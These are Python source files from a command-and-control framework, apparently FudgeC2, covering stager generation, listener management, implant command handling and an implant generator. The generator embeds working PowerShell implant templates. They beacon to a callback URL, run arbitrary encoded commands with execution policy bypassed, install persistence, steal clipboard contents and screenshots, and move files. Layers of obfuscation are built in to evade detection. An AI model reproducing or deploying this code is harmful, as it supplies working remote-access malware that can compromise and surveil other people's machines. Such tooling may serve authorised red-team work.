class StagerGeneration: # TODO: This needs cleaned up to ensure expandability with database changes. db = Database() NetProfMan = NetworkProfileManager() def generate_static_stagers(self, cid, user): ret_data = {} if self.db.campaign.Verify_UserCanAccessCampaign(user, cid): implant_info = self.db.implant.Get_AllImplantBaseFromCid(cid) if implant_info is not False: for implant in implant_info: ret_data[implant['title']] = { "description": implant['description'], "url": implant['callback_url'], "kill_date":implant['kill_date'], "encryption":implant['encryption'], "powershell_stager": self._generate_powershell_stager_string(implant), "docm_macro_stager": self._generate_docx_stager_string(implant), "stager_key": implant['stager_key']} return ret_data else: return ret_data def GenerateSingleStagerFile(self, cid, user, stager_type): # TODO: Create docx file download from template. if self.db.campaign.Verify_UserCanAccessCampaign(user, cid): if stager_type == "docx": return self._generate_docx_stager_file() return else: return False def _generate_docx_stager_string(self, implant_data): stager_list = [] if 'network_profiles' in implant_data: for element in implant_data['network_profiles']: raw = self.NetProfMan.get_docm_implant_stager(element, implant_data) if raw is not None: stager_list.append(raw) return stager_list else: return stager_list def _generate_powershell_stager_string(self, implant_data): # Calls the Network Profile Manager to see if a powershell stager exists, if not the network profile will return # a None value. Care should be taken to avoid comms which do not have any stager options to generate active # payloads. stager_list = [] if 'network_profiles' in implant_data: for element in implant_data['network_profiles']: raw = self.NetProfMan.get_powershell_implant_stager(element, implant_data) if raw is not None: stager_list.append(raw) return stager_list else: return stager_list
from ServerApp.modules.UserManagement import UserManagementController from ServerApp.modules.StagerGeneration import StagerGeneration from ServerApp.modules.ImplantManagement import ImplantManagement from ServerApp.modules.ApplicationManager import AppManager from ServerApp.modules.ExportManager import CampaignExportManager from NetworkProfiles.NetworkProfileManager import NetworkProfileManager from NetworkProfiles.NetworkListenerManagement import NetworkListenerManagement Listener = NetworkListenerManagement.instance Imp = ImplantSingleton.instance UsrMgmt = UserManagementController() ImpMgmt = ImplantManagement() StagerGen = StagerGeneration() AppManager = AppManager() ExpoManager = CampaignExportManager() NetProfMng = NetworkProfileManager() app = Flask(__name__) app.config.from_object(__name__) app.config['SECRET_KEY'] = str(uuid.uuid4()) login = LoginManager(app) login.init_app(app) # -- Context Processors --# @app.context_processor def inject_dict_for_all_auth_templates(): # -- Returns the list of Campaigns the authenticated user has at least read access to if current_user.is_authenticated: return dict(campaignlist=UsrMgmt.campaign_get_user_campaign_list( current_user.user_email))
class __OnlyOne: # Dev Work: # Improve logging on listener events # Improve race-condition checks listeners = [] db = Database() npm = NetworkProfileManager() def create_new_listener(self, username, common_name, profile_tag, args, auto_start): # First check the profile tag is valid, and then ensure adding the listener to the DB is successful # before taking action. if self.db.user.User_IsUserAdminAccount(username): listener_class = self.npm.get_listener_object(profile_tag) listener_interface = self.npm.get_listener_interface( profile_tag) if listener_class is not None and listener_interface is not None: if self.db.listener.create_new_listener_record( common_name, args, profile_tag, auto_start): listener = self.db.listener.get_listener_by_common_name( common_name) if listener is not False: # already instantiated interface listener['interface'] = listener_interface listener['interface'].configure( listener_class, args) self.listeners.append(listener) self.listener_state_change(username, listener['name'], listener['auto_run']) return True return False def get_all_listeners(self): # Create copys of listeners to avoid the interface being removed. to_return = [] for listener in self.listeners: to_return.append(copy.copy(listener)) return to_return def get_listener_state(self, common_name): for listener in self.listeners: if listener['common_name'] == common_name: return listener['object'].query_state() def startup_auto_run_listeners(self): tmp_listeners = self.db.listener.get_all_listeners() for listener in tmp_listeners: listener_class = self.npm.get_listener_object( listener['protocol']) listener_interface = self.npm.get_listener_interface( listener['protocol']) if listener_class is not None and listener_interface is not None: # Already instantiated interface listener['interface'] = listener_interface listener['interface'].configure(listener_class, listener['port']) self.listeners.append(listener) self.listener_state_change(True, listener['name'], listener['auto_run']) def listener_state_change(self, username, common_name, state): state_change_message = "Insufficient privileges" if self.db.user.User_IsUserAdminAccount( username) or username is True: for listener in self.listeners: if listener['name'] == common_name: if state == 0 and listener['state'] == 1: listener['state'] = 0 listener['interface'].stop_listener() state_change_message = f"Successfully stopped {common_name}" elif state == 1: listener['state'] = 1 listener['interface'].start_listener() state_change_message = f"Successfully started {common_name}" return state_change_message # Undecided if I want to check for server certificates at a global level - this should be down to # specific network profiles? # Note: This is still called when the C2 server starts for now so automatically return True. @staticmethod def check_tls_certificates(): return True
class ImplantManagement: # -- The implant management class is responsible for performing pre-checks and validation before sending data # -- to the Implant class db = Database() Imp = ImplantSingleton.instance ImpFunc = ImplantFunctionality() NetProMan = NetworkProfileManager() def _form_validated_obfucation_level_(self, form): # Checking if obfuscation if an integer between 0-4, if not return None to raise an error. try: obfuscation_value = int(form['obfuscation']) if obfuscation_value < 0: obfuscation_value = 0 elif obfuscation_value > 4: obfuscation_value = 4 return obfuscation_value except: return None def _validate_command(self, command): # Validate the command is one of 2 thing either a Powershell direct execution or a # builtin command using :: notation. # Once validate this processes the command into a "type" and "arg", both strings. command_listing = self.ImpFunc.command_listing() # Process command output into: # :: load_module powerup if command.lstrip()[0:2] == "::": preprocessed_command = command.lstrip()[2:].lower().strip() for x in command_listing: if x['input'] in preprocessed_command: a = preprocessed_command.partition(x['input']) r_command = {"type": x['type'], "args": a[2].strip()} return r_command, True return command, "Unknown inbuilt command (::). See help page for more info." elif command.lstrip()[0:1] == ":": preprocessed_command = command.lstrip()[1:].lower().strip() for x in command_listing: if x['input'] in preprocessed_command: return command, ( f"Potential typo found in command. A single colon was found, did you mean :" f"{command}. If not please raise a GitHub ticket with the submitted command." ) else: r_command = {"type": "CM", "args": command} return r_command, True def _validate_template_kill_date(self, form): if 'kill_date' in form: try: # Checking to ensure a the time is not before current time. # This time must match the webapp submission format. user_time = datetime.datetime.strptime(form['kill_date'], '%d/%m/%Y, %H:%M') current_time = datetime.datetime.now() if user_time < current_time: return None else: # Reformatting the datetime to match implant datetime format string return datetime.datetime.strftime(user_time, '%Y-%m-%d %H:%M:%S') except Exception as E: return None def get_network_profile_options(self): return self.NetProMan.get_implant_template_code() def implant_command_registration(self, cid, username, form): result_msg = "Unknown error." try: User = self.db.campaign.Verify_UserCanWriteCampaign(username, cid) if User is False: result_msg = "You are not authorised to register commands in this campaign." raise ValueError if "cmd" not in form and "ImplantSelect" not in form: result_msg = f"Malformed request: {form}" raise ValueError if len(form['cmd']) == 0: result_msg = "No command submitted." raise ValueError processed_command, validated_command = self._validate_command( form['cmd']) if validated_command is not True: result_msg = validated_command raise ValueError result = self.ImpFunc.validate_pre_registered_command( processed_command) if result is not True: result_msg = result raise ValueError if form['ImplantSelect'] == "ALL": list_of_implants = self.db.implant.Get_AllGeneratedImplantsFromCID( cid) else: list_of_implants = self.db.implant.Get_AllImplantIDFromTitle( form['ImplantSelect']) # Check if any implants have been returned against the user submitted values. if len(list_of_implants) == 0: result_msg = "No implants listed." raise ValueError # Assuming all checks have passed no Exceptions will have been raised and we can register commands. for implant in list_of_implants: self.Imp.add_implant_command_to_server( username, cid, implant['unique_implant_id'], processed_command) return {"result": True, "reason": "Command registered"} except: return {"result": False, "reason": result_msg} def _verify_network_profile_(self, form): network_protocols = {} for key in form: a = self.NetProMan.validate_web_form(key, form[key]) if a is not None: if a != False: network_protocols.update(a) return network_protocols def create_new_implant(self, cid, form, user): # TODO: Create checks for conflicting ports. implant_configuration = { "title": None, "description": None, "url": None, "beacon": None, "inital_delay": None, "obfuscation_level": None, "protocol": {}, "kill_date": None } try: User = self.db.user.Get_UserObject(user) if User.admin == 0: return False, "Insufficient privileges." campaign_priv = self.db.campaign.Verify_UserCanWriteCampaign( user, cid) if campaign_priv is False: raise ValueError('User cannot write to this campaign.') if "CreateImplant" in form: obfuscation_level = self._form_validated_obfucation_level_( form) implant_configuration[ 'kill_date'] = self._validate_template_kill_date(form) if obfuscation_level is None: raise ValueError('Missing, or invalid obfuscation level.') else: implant_configuration[ 'obfuscation_level'] = obfuscation_level # -- Test for initial callback delay if 'initial_delay' in form: if int(form['initial_delay']) and int( form['initial_delay']) >= 0: implant_configuration['initial_delay'] = form[ 'initial_delay'] else: raise ValueError( "Initial delay must be positive integer.") else: raise ValueError("Initial delay not submitted.") # -- Test for beacon delay if 'beacon_delay' in form: if int(form['beacon_delay']) >= 1: implant_configuration['beacon'] = form['beacon_delay'] else: raise ValueError( "Beacon delay must an integer greater than 1 second." ) else: raise ValueError("No beacon delay submitted.") if form['title'] == "" or form['url'] == "" or form[ 'description'] == "": raise ValueError('Mandatory values left blank') else: implant_configuration['title'] = form['title'] implant_configuration['url'] = form['url'] implant_configuration['description'] = form['description'] implant_configuration['beacon'] = form['beacon_delay'] # Verify the input against all loaded network profiles. validated_network_protocols = self._verify_network_profile_( form) if len(validated_network_protocols) != 0: implant_configuration['protocol'].update( validated_network_protocols) else: raise ValueError( "Error: No valid network profiles submitted.") implant_creation = self.db.implant.create_new_implant_template( user, cid, implant_configuration) if implant_creation is True: return True, "Implant created." else: raise ValueError(f"Error: {implant_creation}") except Exception as E: print(E) return False, E def Get_RegisteredImplantCommands(self, username, cid=0): # -- Return list of dictionaries, not SQLAlchemy Objects. if self.db.campaign.Verify_UserCanAccessCampaign(username, cid): commands = self.db.implant.Get_RegisteredImplantCommandsFromCID( cid) to_dict = [] for x in commands: a = x.__dict__ if '_sa_instance_state' in a: del a['_sa_instance_state'] to_dict.append(a) return to_dict else: return False def Get_CampaignLogs(self, username, cid): User = self.db.campaign.Verify_UserCanReadCampaign(username, cid) if User is False: return { "cmd_reg": { "result": False, "reason": "You are not authorised to view commands in this campaign." } } return self.db.Log_GetCampaignActions(cid) def get_active_campaign_implants(self, user, campaign_id): if self.db.campaign.Verify_UserCanAccessCampaign(user, campaign_id): raw = self.db.implant.Get_AllGeneratedImplantsFromCID(campaign_id) # Removing the SQLAlchemy object. tr = [] for num, item in enumerate(raw): del item['_sa_instance_state'] tr.append(item) return tr else: return False
class ImplantGenerator: # ImplantGenerator has a single public method (generate_implant_from_template) # which is used to generate a new active implant in the event of a stager # calling back. Configuration from the implant template is used to determine # which functionality should be embedded within the active implant. ImpFunc = ImplantFunctionality() NetProfMan = NetworkProfileManager() JinjaRandomisedArgs = { "obf_remote_play_audio": "RemotePlayAudio", "obf_sleep": "sleep", "obf_select_protocol": "select_protocol", "obf_collect_sysinfo": "collect-sysinfo", "obf_http_conn": "http-connection", "obf_https_conn": "https-connection", "obf_dns_conn": "dns-connection", "obf_create_persistence": "create-persistence", "obf_builtin_command": "execute-command", "obf_reg_key_name": "FudgeC2Persistence", "obf_callback_url": "url", "obf_callback_reason": "callback_reason", "obf_get_clipboard": "export-clipboard", "obf_load_module": "load-ext-module", "obf_invoke_module": "invoke-module", "obf_get_loaded_modules": "get-loaded-modules", "obf_upload_file": "upload-file", "obf_download_file": "download-file", "obf_screen_capture": "screen-capture", "obf_kill_date": "implant_kill_date" } execute_command = ''' function {{ ron.obf_builtin_command }}($data){ $a = $data.Substring(0,2) $global:command_id = $data.Substring(2,24) if ($data.Substring(26).length -gt 1){ $b = [System.Convert]::FromBase64String($data.Substring(26)) } if($a -eq "CM"){ $c = [System.Convert]::ToBase64String([system.Text.Encoding]::Unicode.getbytes([System.Text.Encoding]::UTF8.GetString($b))) $global:tr = powershell.exe -exec bypass -EncodedCommand $c } elseif($a -eq "SI"){ {{ ron.obf_collect_sysinfo }} } elseif ($a -eq "EP"){ {{ ron.obf_create_persistence }} } elseif ($a -eq "PS"){ {{ ron.obf_remote_play_audio }}($b) } elseif ($a -eq "EC"){ {{ ron.obf_get_clipboard }} } elseif ($a -eq "LM"){ {{ ron.obf_load_module }}([System.Text.Encoding]::UTF8.GetString($b)) } elseif ($a -eq "IM"){ {{ ron.obf_invoke_module }}([System.Text.Encoding]::UTF8.GetString($b)) } elseif ($a -eq "ML"){ {{ ron.obf_get_loaded_modules }} } elseif ($a -eq "FD"){ {{ ron.obf_download_file }}([System.Text.Encoding]::UTF8.GetString($b)) } elseif ($a -eq "UF"){ {{ ron.obf_upload_file }}([System.Text.Encoding]::UTF8.GetString($b)) } elseif ($a -eq "SC"){ {{ ron.obf_screen_capture }} } else { $global:tr = $null } } ''' kill_date = ''' function {{ ron.obf_kill_date }}{ $kd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("{{ kill_date_encoded }}")) $pdt = [datetime]::parseexact($kd, 'yyyy-MM-dd HH:mm:ss', $null) if ((Get-Date) -gt ($pdt)){ [string]::join('',[ChaR[]](101, 120, 105, 116)) |& ((gv ‘*MDr*’).NamE[3,11,2] -join '') } } ''' select_protocol = ''' function {{ ron.obf_select_protocol }}($b){ {% if kill_date %}{{ ron.obf_kill_date }}{% endif %} sleep (Get-Random -Minimum (${{ ron.obf_sleep }} *0.90) -Maximum (${{ ron.obf_sleep }} *1.10)) return get-random($b) } ''' implant_main = ''' {{ obf_variables }} {% if obfuscation_level == 0 %} # Implant generated by: # https://github.com/Ziconius/FudgeC2 {% endif %} $global:command_id = 0 start-sleep({{ initial_sleep }}) ${{ ron.obf_sleep }}={{ beacon }} ${{ ron.obf_callback_url }} = "{{ url }}" while($true){ $plh=$null $global:headers = $null try { {{ proto_core }} } catch { $_.Exception | Out-Null } if (($global:headers -NotLike "==") -And ($global:headers -ne $null)){ {{ ron.obf_builtin_command }}($global:headers) if ($global:tr -ne $null){ $atr = $global:tr -join "`n" $plh = $atr try { {{ proto_core }} } catch { $_.Exception | Out-Null } } } } ''' def _manage_implant_function_order(self, implant_info, function_list): # -- This is responsible for randomising the function order within the generated implant. if implant_info['obfuscation_level'] >= 1: random.shuffle(function_list) constructed_base_implant = "" for implant_function in function_list: constructed_base_implant = constructed_base_implant + implant_function.rstrip( ) constructed_base_implant = constructed_base_implant + self.implant_main return constructed_base_implant.lstrip() def _function_name_obfuscation(self, implant_info, function_names): if implant_info['obfuscation_level'] >= 2: for key in function_names.keys(): letters = string.ascii_lowercase temp_string = ''.join(random.choice(letters) for i in range(8)) if temp_string not in function_names.values(): function_names[key] = temp_string return function_names def _process_modules(self, implant_data, randomised_function_names): # Add default functions to added to the implant which will be randomised. core_implant_functions = [self.execute_command, self.select_protocol] implant_functions = self.ImpFunc.get_list_of_implant_text() implant_functions.extend(core_implant_functions) ports = {} network_profile_functions = {} # -- NEW NETWORK PROFILE CONTENT for x in implant_data['network_profiles']: code, variables = self.NetProfMan.get_implant_powershell_code(x) obf_variables = variables[0] port_variables = variables[1] # code is now in the base implant_functions.append(code) # Args are now in the Network Profiles self.JinjaRandomisedArgs.update(obf_variables) network_profile_functions.update(obf_variables) for key in port_variables.keys(): port_variables[key] = implant_data['network_profiles'][x] ports.update(port_variables) if implant_data['kill_date'] is not None: implant_functions.append(self.kill_date) constructed_implant = self._manage_implant_function_order( implant_data, implant_functions) protocol_string = "" proto_count = 0 for net_prof in network_profile_functions.keys(): protocol_string += f" {proto_count} {{ {network_profile_functions[net_prof]}($plh) }}\n" proto_count += 1 f_str = 'switch (' + randomised_function_names[ 'obf_select_protocol'] + '(' + str( proto_count) + ') ){ \n' + protocol_string + ' }' return constructed_implant, f_str, ports def generate_implant_from_template(self, implant_data): """ generate_implant_from_template - Takes the generated implant info (Generated implants (by UIK) _process_modules - This controls which protocols and additional modules are embedded into the implant. - Generates the main function multi proto selection """ implant_function_names = self._function_name_obfuscation( implant_data, self.JinjaRandomisedArgs) implant_template, protocol_switch, ports = self._process_modules( implant_data, implant_function_names) callback_url = implant_data['callback_url'] variable_list = "" if implant_data['obfuscation_level'] >= 3: ps_ofb = PSObfucate() variable_list, callback_url = ps_ofb.variableObs( implant_data['callback_url']) cc = jinja2.Template(implant_template) output_from_parsed_template = cc.render( initial_sleep=implant_data['initial_delay'], url=callback_url, ports=ports, uii=implant_data['unique_implant_id'], stager_key=implant_data['stager_key'], ron=implant_function_names, beacon=implant_data['beacon'], proto_core=protocol_switch, obfuscation_level=implant_data['obfuscation_level'], obf_variables=variable_list, kill_date=implant_data['kill_date'], kill_date_encoded=base64.b64encode( str(implant_data['kill_date']).encode()).decode()) # Wrapping implant in function to allow Powershell scope to expose the implant code to itself f_name = f"{random.choice(string.ascii_lowercase)}_{random.choice(string.ascii_lowercase)}" # 'h; is an alias for history.... finalised_implant = f"function {f_name}{{ {output_from_parsed_template} }};{f_name}" return finalised_implant